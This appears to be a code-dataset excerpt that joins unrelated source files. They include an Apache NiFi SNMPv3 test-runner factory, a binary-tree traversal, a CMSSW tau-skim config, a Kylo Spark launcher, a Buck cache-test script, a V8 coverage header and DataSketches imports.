import org.apache.nifi.snmp.processors.SendTrapSNMP;
import org.apache.nifi.snmp.processors.SetSNMP;
import org.apache.nifi.snmp.processors.properties.BasicProperties;
import org.apache.nifi.snmp.processors.properties.V2TrapProperties;
import org.apache.nifi.snmp.processors.properties.V3SecurityProperties;
import org.apache.nifi.util.MockFlowFile;
import org.apache.nifi.util.TestRunner;
import org.apache.nifi.util.TestRunners;
public class SNMPV3TestRunnerFactory implements SNMPTestRunnerFactory {
private static final String USM_USERS_FILE_PATH = "src/test/resources/usm.json";
private static final SNMPConfigurationFactory snmpV3ConfigurationFactory = new SNMPV3ConfigurationFactory();
@Override
public TestRunner createSnmpGetTestRunner(int agentPort, String oid, String strategy) {
final TestRunner runner = TestRunners.newTestRunner(GetSNMP.class);
final SNMPConfiguration snmpConfiguration = snmpV3ConfigurationFactory.createSnmpGetSetConfiguration(agentPort);
runner.setProperty(GetSNMP.OID, oid);
runner.setProperty(GetSNMP.SNMP_STRATEGY, strategy);
runner.setProperty(GetSNMP.AGENT_HOST, snmpConfiguration.getTargetHost());
runner.setProperty(GetSNMP.AGENT_PORT, snmpConfiguration.getTargetPort());
runner.setProperty(BasicProperties.SNMP_COMMUNITY, snmpConfiguration.getCommunityString());
runner.setProperty(BasicProperties.SNMP_VERSION, getVersionName(snmpConfiguration.getVersion()));
runner.setProperty(V3SecurityProperties.SNMP_SECURITY_LEVEL, snmpConfiguration.getSecurityLevel());
runner.setProperty(V3SecurityProperties.SNMP_SECURITY_NAME, snmpConfiguration.getSecurityName());
runner.setProperty(V3SecurityProperties.SNMP_AUTH_PROTOCOL, snmpConfiguration.getAuthProtocol());
runner.setProperty(V3SecurityProperties.SNMP_AUTH_PASSWORD, snmpConfiguration.getAuthPassphrase());
runner.setProperty(V3SecurityProperties.SNMP_PRIVACY_PROTOCOL, snmpConfiguration.getPrivacyProtocol());
runner.setProperty(V3SecurityProperties.SNMP_PRIVACY_PASSWORD, snmpConfiguration.getPrivacyPassphrase());
return runner;
}
@Override
public TestRunner createSnmpSetTestRunner(int agentPort, String oid, String oidValue) {
final TestRunner runner = TestRunners.newTestRunner(SetSNMP.class);
final SNMPConfiguration snmpConfiguration = snmpV3ConfigurationFactory.createSnmpGetSetConfiguration(agentPort);
runner.setProperty(SetSNMP.AGENT_HOST, snmpConfiguration.getTargetHost());
runner.setProperty(SetSNMP.AGENT_PORT, snmpConfiguration.getTargetPort());
runner.setProperty(BasicProperties.SNMP_COMMUNITY, snmpConfiguration.getCommunityString());
runner.setProperty(BasicProperties.SNMP_VERSION, getVersionName(snmpConfiguration.getVersion()));
runner.setProperty(V3SecurityProperties.SNMP_SECURITY_LEVEL, snmpConfiguration.getSecurityLevel());
runner.setProperty(V3SecurityProperties.SNMP_SECURITY_NAME, snmpConfiguration.getSecurityName());
runner.setProperty(V3SecurityProperties.SNMP_AUTH_PROTOCOL, snmpConfiguration.getAuthProtocol());
runner.setProperty(V3SecurityProperties.SNMP_AUTH_PASSWORD, snmpConfiguration.getAuthPassphrase());
runner.setProperty(V3SecurityProperties.SNMP_PRIVACY_PROTOCOL, snmpConfiguration.getPrivacyProtocol());
runner.setProperty(V3SecurityProperties.SNMP_PRIVACY_PASSWORD, snmpConfiguration.getPrivacyPassphrase());
final MockFlowFile flowFile = getFlowFile(oid, oidValue);
runner.enqueue(flowFile);
return runner;
}
@Override
public TestRunner createSnmpSendTrapTestRunner(int managerPort, final String oid, final String oidValue) {
final TestRunner runner = TestRunners.newTestRunner(SendTrapSNMP.class);
final SNMPConfiguration snmpConfiguration = snmpV3ConfigurationFactory.createSnmpGetSetConfiguration(managerPort);
final V2TrapConfiguration trapConfiguration = TrapConfigurationFactory.getV2TrapConfiguration();
runner.setProperty(SendTrapSNMP.SNMP_MANAGER_HOST, snmpConfiguration.getTargetHost());
runner.setProperty(SendTrapSNMP.SNMP_MANAGER_PORT, snmpConfiguration.getTargetPort());
runner.setProperty(BasicProperties.SNMP_COMMUNITY, snmpConfiguration.getCommunityString());
runner.setProperty(BasicProperties.SNMP_VERSION, getVersionName(snmpConfiguration.getVersion()));
runner.setProperty(V2TrapProperties.TRAP_OID_VALUE, trapConfiguration.getTrapOidValue());
runner.setProperty(V3SecurityProperties.SNMP_SECURITY_LEVEL, snmpConfiguration.getSecurityLevel());
runner.setProperty(V3SecurityProperties.SNMP_SECURITY_NAME, snmpConfiguration.getSecurityName());
runner.setProperty(V3SecurityProperties.SNMP_AUTH_PROTOCOL, snmpConfiguration.getAuthProtocol());
runner.setProperty(V3SecurityProperties.SNMP_AUTH_PASSWORD, snmpConfiguration.getAuthPassphrase());
runner.setProperty(V3SecurityProperties.SNMP_PRIVACY_PROTOCOL, snmpConfiguration.getPrivacyProtocol());
runner.setProperty(V3SecurityProperties.SNMP_PRIVACY_PASSWORD, snmpConfiguration.getPrivacyPassphrase());
final MockFlowFile flowFile = getFlowFile(oid, oidValue);
runner.enqueue(flowFile);
return runner;
}
@Override
public TestRunner createSnmpListenTrapTestRunner(int managerPort) {
final TestRunner runner = TestRunners.newTestRunner(ListenTrapSNMP.class);
final SNMPConfiguration snmpConfiguration = snmpV3ConfigurationFactory.createSnmpListenTrapConfig(managerPort);
runner.setProperty(ListenTrapSNMP.SNMP_MANAGER_PORT, String.valueOf(snmpConfiguration.getManagerPort()));
runner.setProperty(BasicProperties.SNMP_VERSION, getVersionName(snmpConfiguration.getVersion()));
runner.setProperty(ListenTrapSNMP.SNMP_USM_USERS_FILE_PATH, USM_USERS_FILE_PATH);
return runner;
}
}
| 2,426 |
1,687 | import java.util.ArrayDeque;
import java.util.ArrayList;
import java.util.Deque;
import java.util.List;
public class Solution2 {
// 二叉树的中序遍历
public List<Integer> inorderTraversal(TreeNode root) {
// 体会栈这个数据结构在中序遍历中发挥的作用
List<Integer> res = new ArrayList<>();
Deque<TreeNode> stack = new ArrayDeque<>();
TreeNode curNode = root;
while (curNode != null || !stack.isEmpty()) {
// 不断压入左边的孩子结点
while (curNode != null) {
stack.addLast(curNode);
curNode = curNode.left;
}
TreeNode top = stack.removeLast();
res.add(top.val);
curNode = top.right;
}
return res;
}
public static void main(String[] args) {
TreeNode node1 = new TreeNode(1);
TreeNode node2 = new TreeNode(2);
TreeNode node3 = new TreeNode(3);
node1.right = node2;
node2.left = node3;
Solution2 solution2 = new Solution2();
List<Integer> inorderTraversal = solution2.inorderTraversal(node1);
System.out.println(inorderTraversal);
}
} | 591 |
852 | import FWCore.ParameterSet.Config as cms
process = cms.Process("test")
process.configurationMetadata = cms.untracked.PSet(
version = cms.untracked.string('$Revision: 1.1 $'),
annotation = cms.untracked.string('Tau central skim'),
name = cms.untracked.string('$Source: /cvs/CMSSW/CMSSW/Configuration/Skimming/test/test_tauSkim.py,v $')
)
process.maxEvents = cms.untracked.PSet(
input = cms.untracked.int32(1000)
)
process.load("Configuration.StandardSequences.MagneticField_38T_cff")
process.load("Configuration.StandardSequences.GeometryExtended_cff")
process.load("Configuration.StandardSequences.FrontierConditions_GlobalTag_cff")
process.load('Configuration.EventContent.EventContent_cff')
process.GlobalTag.globaltag = "GR_P_V16::All"
process.source = cms.Source("PoolSource",
fileNames = cms.untracked.vstring(
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/E86FFC9E-D757-E011-BE46-001D09F2915A.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/D62438A0-E357-E011-A372-001D09F24664.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/D43A6E46-DF57-E011-931C-001D09F231B0.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/D0B5FB32-E457-E011-BD36-001D09F251FE.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/C8E9E69C-E557-E011-9593-001D09F28F1B.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/C86402C8-E257-E011-8E23-003048F1182E.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/C840505C-9258-E011-AAEF-0030487C7392.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/C60C95AE-FA57-E011-B848-003048F117EA.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/C2CAAC81-F657-E011-B654-003048F024FE.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/C2B9F934-E457-E011-BF40-001D09F26509.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/AE27C23C-0558-E011-A023-003048F024E0.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/8ABFC9A1-E357-E011-9D79-001D09F2426D.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/8084D411-E057-E011-99F6-0030487CD6D2.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/7E3522F0-F057-E011-BFFE-0030487A18F2.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/7AD5E6E1-E957-E011-9309-00304879FBB2.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/7A3C5880-DC57-E011-B98D-001617C3B654.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/74CB59FA-EB57-E011-A988-003048F118C4.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/70DF7171-E857-E011-A6F3-001D09F2516D.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/706ED316-EE57-E011-A3F1-000423D996C8.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/685D1571-E857-E011-9B63-001D09F241F0.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/6040A49F-D757-E011-B350-001D09F23174.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/5AD8CB86-DC57-E011-89C0-003048D2C1C4.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/52E1F813-E057-E011-84F4-001617C3B79A.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/525E0BA4-DE57-E011-A5E1-0030487C90C2.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/4CF9F2C9-F557-E011-912F-003048F11C5C.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/4675C9A9-EC57-E011-ACF1-001D09F252DA.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/2AF8E934-E457-E011-B335-001D09F253D4.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/18EE38AE-EC57-E011-8723-001D09F25109.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/12E7CAAE-F357-E011-9086-003048F11C5C.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/0CD60D2B-DD57-E011-9B38-0030487A322E.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/06A08BFC-D857-E011-980D-003048D2BED6.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/040B519A-D057-E011-848A-0030487CD77E.root',
'/store/data/Run2011A/SingleMu/RECO/PromptReco-v1/000/161/312/00DC8253-E657-E011-8805-0019DB2F3F9A.root'
# '/store/data/Run2011A/SingleElectron/RECO/PromptReco-v1/000/161/312/D00ECD06-FA57-E011-B670-003048F1BF66.root',
# '/store/data/Run2011A/SingleElectron/RECO/PromptReco-v1/000/161/312/B4AA6B6D-E857-E011-A081-001617C3B76A.root',
# '/store/data/Run2011A/SingleElectron/RECO/PromptReco-v1/000/161/312/9E43C5BB-0858-E011-9400-0030487C6A66.root',
# '/store/data/Run2011A/SingleElectron/RECO/PromptReco-v1/000/161/312/9483279C-E557-E011-B828-001D09F291D2.root',
# '/store/data/Run2011A/SingleElectron/RECO/PromptReco-v1/000/161/312/5A98F600-FA57-E011-88EE-003048F11C5C.root',
# '/store/data/Run2011A/SingleElectron/RECO/PromptReco-v1/000/161/312/286081CA-E257-E011-8E2D-001D09F253D4.root'
),
secondaryFileNames = cms.untracked.vstring(
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/FADB8906-FD55-E011-996D-000423D996C8.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/ECF250B9-E355-E011-934E-001617C3B654.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/E2F8F27A-E855-E011-99D6-0030487CD6D8.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/D86F1258-0656-E011-B0E8-001617E30D0A.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/D4D1E804-CB55-E011-8FA0-001D09F24489.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/CE271E3F-F755-E011-8EEB-003048F11DE2.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/C4C77CB7-D055-E011-9D00-001617C3B6E2.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/C240EDFD-F255-E011-9DFE-0030487CBD0A.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/B299B93D-DA55-E011-AC86-003048F1BF68.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/A671BFE4-D455-E011-BCD0-001617E30CC2.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/A6401605-CB55-E011-9EFF-001D09F2AD7F.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/A281BC93-EF55-E011-BFD7-003048F024F6.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/9E56EEA3-D755-E011-BD75-003048F118E0.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/9A39C322-CD55-E011-A409-001D09F24DA8.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/907AFC68-E455-E011-A803-0030487A3C92.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/8A2B78F4-F055-E011-92B6-0030487CD6F2.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/84965A70-D355-E011-B726-001617E30D52.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/7C320A5D-E455-E011-8C24-001617C3B654.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/72A96101-E555-E011-958D-0030487C90C2.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/6E1A14D6-CD55-E011-AC69-001D09F2960F.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/6ACF2D85-F955-E011-8380-003048F1110E.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/64A61B76-F455-E011-8B99-003048F024FA.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/5EC134C4-DC55-E011-832F-000423D98B6C.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/5AAF5E00-FB55-E011-B0A5-001617DC1F70.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/5A25CEB2-E555-E011-9F12-003048F118C2.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/48E78C36-E955-E011-B70C-0030487C6062.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/4029CFAD-FF55-E011-8CBA-003048F117B4.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/383E6175-DA55-E011-A7F0-0030487CD162.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/2A98DBF5-CF55-E011-AF01-001617E30CC2.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/246606D5-CB55-E011-BC5A-0016177CA778.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/1226EE4C-EB55-E011-914F-001617DBD5AC.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/0CB4B104-E355-E011-A201-0030487C60AE.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/08824169-ED55-E011-9813-001617C3B65A.root',
'/store/data/Run2011A/SingleMu/RAW/v1/000/161/312/06FEE2F0-D655-E011-9C44-001D09F2B30B.root'
# '/store/data/Run2011A/SingleElectron/RAW/v1/000/161/312/B49B80DE-FA55-E011-89A5-001D09F2527B.root',
# '/store/data/Run2011A/SingleElectron/RAW/v1/000/161/312/9CAED4DC-EE55-E011-92E0-0030487CD6E6.root',
# '/store/data/Run2011A/SingleElectron/RAW/v1/000/161/312/98352641-0656-E011-A1F2-001617DBD472.root',
# '/store/data/Run2011A/SingleElectron/RAW/v1/000/161/312/86618229-DA55-E011-A93E-003048F118DE.root',
# '/store/data/Run2011A/SingleElectron/RAW/v1/000/161/312/48B3C7E4-CF55-E011-8551-000423D9A2AE.root',
# '/store/data/Run2011A/SingleElectron/RAW/v1/000/161/312/30FA984D-E455-E011-920E-003048F11C5C.root'
)
)
process.source.inputCommands = cms.untracked.vstring("keep *", "drop *_MEtoEDMConverter_*_*")
process.load("Configuration.Skimming.PDWG_TauSkim_cff")
process.tauFilter = cms.Path(process.tauSkimSequence)
process.outputCsTau = cms.OutputModule("PoolOutputModule",
dataset = cms.untracked.PSet(
dataTier = cms.untracked.string('RAW-RECO'),
filterName = cms.untracked.string('CS_Tau')),
SelectEvents = cms.untracked.PSet(SelectEvents = cms.vstring('tauFilter')),
outputCommands = process.FEVTEventContent.outputCommands,
fileName = cms.untracked.string('CS_Tau_2011.root')
)
process.this_is_the_end = cms.EndPath(
process.outputCsTau
)
| 5,528 |
1,016 | <filename>integrations/spark/spark-multi-exec/spark-multi-exec-app/src/main/java/com/thinkbiganalytics/spark/multiexec/MultiSparkExecApp.java
package com.thinkbiganalytics.spark.multiexec;
/*-
* #%L
* kylo-spark-multi-exec-app
* %%
* Copyright (C) 2017 - 2018 ThinkBig Analytics, a Teradata Company
* %%
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
* #L%
*/
import org.apache.commons.lang.StringUtils;
import org.apache.commons.lang3.reflect.MethodUtils;
import org.apache.spark.SparkContext;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.PrintStream;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import javax.annotation.Nonnull;
public class MultiSparkExecApp {
private static final Logger log = LoggerFactory.getLogger(MultiSparkExecApp.class);
public static void main(String[] args) {
if (log.isInfoEnabled()) {
log.info("Running Spark MultiSparkExecApp with the following command line args (comma separated):{}", StringUtils.join(args, ","));
}
new MultiSparkExecApp().run(System.out, args);
}
private void run(@Nonnull final PrintStream out, @Nonnull final String... args) {
log.info("MultiSparkExecApp running...");
final SparkContext sparkContext = SparkContext.getOrCreate();
try {
final MultiSparkExecArguments sparkExecArgs = new MultiSparkExecArguments(args);
final List<SparkApplicationCommand> commands = sparkExecArgs.getCommands();
final List<Class<?>> appClasses = new ArrayList<>(sparkExecArgs.getCommands().size());
// Get the list of all app classes; verifying each have main() methods.
for (SparkApplicationCommand cmd : sparkExecArgs.getCommands()) {
appClasses.add(getApplicationClasses(cmd));
}
log.debug("Preparing to execute apps: {}", appClasses);
for (int idx = 0; idx < appClasses.size(); idx++) {
Class<?> appClass = appClasses.get(idx);
SparkApplicationCommand cmd = commands.get(idx);
System.out.println(">>> Beginning: " + cmd.getName() + " *****************************************************");
executeApp(appClass, cmd);
System.out.println("<<< Completed: " + cmd.getName() + " *****************************************************");
// TODO Generate provenance events.
}
log.info("MultiSparkExecApp finished");
} catch (Exception e) {
log.error("Execution failed", e);
throw e;
} finally {
sparkContext.stop();
}
}
private void executeApp(Class<?> appClass, SparkApplicationCommand cmd) {
String[] args = cmd.asCommandLineArgs();
try {
log.debug("Executing app: {} wih arguments: {}", appClass, Arrays.toString(args));
invokeMain(appClass, args);
} catch (Exception e) {
log.error("Exception executing app: {} {}", appClass, Arrays.toString(args), e);
throw new SparkAppExecException("Exception executing app: " + appClass + " " + Arrays.toString(args), e);
}
}
private void invokeMain(Class<?> appClass, String[] args) {
try {
Method main = MethodUtils.getAccessibleMethod(appClass, "main", String[].class);
main.invoke(null, (Object) args);
} catch (IllegalAccessException e) {
// Shouldn't happen as an accessible main() is checked for when the app class is looked up.
log.error("The specified Spark application's main() method is inaccessible: {}", appClass, e.getCause());
throw new IllegalStateException("The specified Spark application's main() method is inaccessible: " + appClass);
} catch (InvocationTargetException e) {
log.error("Failed to execute the main() method of Spark application: {}", appClass, e.getCause());
throw new SparkAppExecException("Failed to execute the main() method of Spark application: " + appClass, e.getCause());
}
}
private Class<?> getApplicationClasses(SparkApplicationCommand cmd) {
try {
Class<?> cls = Class.forName(cmd.getClassName());
if (MethodUtils.getAccessibleMethod(cls, "main", String[].class) != null) {
return cls;
} else {
log.error("The specified Spark application class does not have a main() method: {}", cmd.getClassName());
throw new SparkAppExecException("The specified Spark application class does not have a main() method: " + cmd.getClassName());
}
} catch (ClassNotFoundException e) {
log.error("The specified Spark application class does not exist: {}", cmd.getClassName());
throw new SparkAppExecException("The specified Spark application class does not exist: " + cmd.getClassName());
}
}
}
| 2,168 |
877 | <reponame>nimakarimipour/checker-framework
import java.lang.annotation.ElementType;
class MyEnumSet<E extends Enum<E>> {}
public class Enums {
public enum VarFlags {
IS_PARAM,
NO_DUPS
};
public MyEnumSet<VarFlags> var_flags = new MyEnumSet<>();
VarFlags f1 = VarFlags.IS_PARAM;
void foo1(MyEnumSet<VarFlags> p) {}
void foo2(MyEnumSet<ElementType> p) {}
<E extends Enum<E>> void mtv(Class<E> p) {}
<T extends Object> T checkNotNull(T ref) {
return ref;
}
<T extends Object, S extends Object> T checkNotNull2(T ref, S ref2) {
return ref;
}
class Test<T extends Enum<T>> {
void m(Class<T> p) {
checkNotNull(p);
}
public <SSS extends Object> SSS firstNonNull(SSS first, SSS second) {
@SuppressWarnings("nullness:nulltest.redundant")
SSS res = first != null ? first : checkNotNull(second);
return res;
}
}
class Unbound<X extends Object> {}
class Test2<T extends Unbound<S>, S extends Unbound<T>> {
void m(Class<T> p, Class<S> q) {
checkNotNull2(p, q);
}
}
}
| 444 |
8,027 | # Copyright (c) Facebook, Inc. and its affiliates.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import argparse
import itertools
import json
import logging
import os
import subprocess
import sys
import tempfile
import zipfile
CACHE_DIR = "buck-cache"
class CacheEntry(object):
pass
def get_cache_entry(path):
with zipfile.ZipFile(path) as f:
entry_map = {os.path.basename(n): n for n in f.namelist()}
entry = CacheEntry()
entry.target = f.read(entry_map["TARGET"]).strip()
entry.rule_key = f.read(entry_map["RULE_KEY"]).strip()
entry.deps = json.loads(f.read(entry_map["DEPS"]))
entry.path = path
return entry
def get_cache_inventory():
inventory = {}
for item in os.listdir(CACHE_DIR):
entry = get_cache_entry(os.path.join(CACHE_DIR, item))
inventory[entry.target] = entry
return inventory
def get_missing_cache_entries(inventory):
"""
Find and return all entries missing in the cache.
"""
missing_entries = {}
for entry in inventory.itervalues():
if not os.path.exists(entry.path):
missing_entries[entry.target] = entry
return missing_entries
def clear_cache():
subprocess.check_call(["rm", "-rf", CACHE_DIR])
def clear_output():
subprocess.check_call(["rm", "-rf", "buck-out"])
def run_buck(buck, *args):
logging.info("Running {} {}".format(buck, " ".join(args)))
# Always create a temp file, in case we need to serialize the
# arguments to it.
with tempfile.NamedTemporaryFile() as f:
# Point cache to a known location.
args.append("--config")
args.append("cache.dir=" + CACHE_DIR)
# If the command would be too long, put the args into a file and
# execute that.
if len(args) > 30:
for arg in args:
f.write(arg)
f.write(os.linesep)
f.flush()
args = ["@" + f.name]
return subprocess.check_output([buck] + list(args))
def preorder_traversal(roots, deps, callback):
"""
Execute the given callback during a preorder traversal of the graph.
"""
# Keep track of all the nodes processed.
seen = set()
def traverse(node, callback, chain):
# Make sure we only visit nodes once.
if node in seen:
return
seen.add(node)
# Run the callback with the current node and the chain of parent nodes we
# traversed to find it.
callback(node, chain)
# Recurse on depednencies, making sure to update the visiter chain.
for dep in deps[node]:
traverse(dep, callback, chain=chain + [node])
# Traverse starting from all the roots.
for root in roots:
traverse(root, callback, [])
def build(buck, targets):
"""
Verify that each of the actions the run when building the given targets
run correctly using a top-down build.
"""
# Now run a build to populate the cache.
logging.info("Running a build to populate the cache")
run_buck(buck, "build", *targets)
# Find all targets reachable via the UI.
out = run_buck(buck, "audit", "dependencies", "--transitive", *targets)
ui_targets = set(out.splitlines())
ui_targets.update(targets)
# Grab an inventory of the cache and use it to form a dependency map.
cache_inventory = get_cache_inventory()
dependencies = {n.target: n.deps for n in cache_inventory.itervalues()}
# Keep track of all the processed nodes so we can print progress info.
processed = set()
# The callback to run for each build rule.
def handle(current, chain):
logging.info(
"Processing {} ({}/{})".format(
current, len(processed), len(dependencies.keys())
)
)
processed.add(current)
# Empty the previous builds output.
logging.info("Removing output from previous build")
clear_output()
# Remove the cache entry for this target.
entry = cache_inventory[current]
os.remove(entry.path)
logging.info(" removed {} => {}".format(current, entry.path))
# Now run the build using the closest UI visible ancestor target.
logging.info("Running the build to check " + current)
for node in itertools.chain([current], reversed(chain)):
if node in ui_targets:
run_buck(buck, "build", "--just-build", current, node)
break
else:
assert False, "couldn't find target in UI: " + node
# We should *always* end with a full cache.
logging.info("Verifying cache...")
missing = get_missing_cache_entries(cache_inventory)
assert len(missing) == 0, "\n".join(sorted(missing.keys()))
preorder_traversal(targets, dependencies, handle)
def test(buck, targets):
"""
Test that we can run tests when pulling from the cache.
"""
# Find all test targets.
test_targets = set()
out = run_buck(buck, "targets", "--json", *targets)
for info in json.loads(out):
if info["buck.type"].endswith("_test"):
test_targets.add("//" + info["buck.base_path"] + ":" + info["name"])
if not test_targets:
raise Exception("no test targets")
# Now run a build to populate the cache.
logging.info("Running a build to populate the cache")
run_buck(buck, "build", *test_targets)
# Empty the build output.
logging.info("Removing output from build")
clear_output()
# Now run the test
run_buck(buck, "test", *test_targets)
def main(argv):
parser = argparse.ArgumentParser()
parser.add_argument("--buck", default="buck")
parser.add_argument("command", choices=("build", "test"))
parser.add_argument("targets", metavar="target", nargs="+")
args = parser.parse_args(argv[1:])
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s %(message)s",
datefmt="%m/%d/%Y %I:%M:%S %p",
)
# Resolve any aliases in the top-level targets.
out = run_buck(args.buck, "targets", *args.targets)
targets = set(out.splitlines())
# Clear the cache and output directories to start with a clean slate.
logging.info("Clearing output and cache")
run_buck(args.buck, "clean")
clear_output()
clear_cache()
# Run the subcommand
if args.command == "build":
build(args.buck, targets)
elif args.command == "test":
test(args.buck, targets)
else:
raise Exception("unknown command: " + args.command)
sys.exit(main(sys.argv))
| 2,764 |
20,995 | <reponame>EXHades/v8<gh_stars>1000+
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef V8_D8_COV_H_
#define V8_D8_COV_H_
// This file is defining functions to handle coverage which are needed for
// fuzzilli fuzzer It communicates coverage bitmap with fuzzilli through shared
// memory
// https://clang.llvm.org/docs/SanitizerCoverage.html
#include <vector>
void sanitizer_cov_reset_edgeguards();
uint32_t sanitizer_cov_count_discovered_edges();
void cov_init_builtins_edges(uint32_t num_edges);
void cov_update_builtins_basic_block_coverage(const std::vector<bool>& cov_map);
#endif // V8_D8_COV_H_
| 255 |
625 | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.datasketches.kll;
import static java.lang.Math.abs;
import static java.lang.Math.ceil;
import static java.lang.Math.exp;
import static java.lang.Math.log;
import static java.lang.Math.max;
import static java.lang.Math.min;
import static java.lang.Math.pow;
import static java.lang.Math.round;
import static org.apache.datasketches.Util.floorPowerOf2;
import static org.apache.datasketches.Util.isOdd;
import static org.apache.datasketches.kll.KllPreambleUtil.DATA_START_ADR;
import static org.apache.datasketches.kll.KllPreambleUtil.DATA_START_ADR_SINGLE_ITEM;
import static org.apache.datasketches.kll.KllPreambleUtil.DOUBLES_SKETCH_BIT_MASK;
import static org.apache.datasketches.kll.KllPreambleUtil.EMPTY_BIT_MASK;
import static org.apache.datasketches.kll.KllPreambleUtil.FLAGS_BYTE_ADR;
import static org.apache.datasketches.kll.KllPreambleUtil.KLL_FAMILY;
import static org.apache.datasketches.kll.KllPreambleUtil.K_SHORT_ADR;
import static org.apache.datasketches.kll.KllPreambleUtil.PREAMBLE_INTS_EMPTY_SINGLE;
import static org.apache.datasketches.kll.KllPreambleUtil.PREAMBLE_INTS_FULL;
